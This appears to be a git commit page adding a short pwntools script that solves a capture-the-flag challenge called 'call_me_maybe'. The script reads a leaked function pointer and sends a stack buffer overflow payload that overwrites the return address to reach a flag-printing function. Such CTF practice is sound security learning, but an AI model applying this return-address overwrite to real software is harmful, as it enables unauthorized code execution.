initial commit
This commit is contained in:
@@ -0,0 +1,14 @@
|
||||
from pwn import *
|
||||
|
||||
offset = 32
|
||||
|
||||
r = process('../call_me_maybe')
|
||||
stdout = r.recvuntil("Pointer to printflag is 0x")
|
||||
addr = int(r.recvuntil("\n"), 16)
|
||||
|
||||
print("Pointer is %x" % addr)
|
||||
|
||||
exploit = "A"*offset + "B"*8 + p64(addr)
|
||||
r.sendline(exploit)
|
||||
|
||||
print(r.recv())
|
||||
Reference in New Issue
Block a user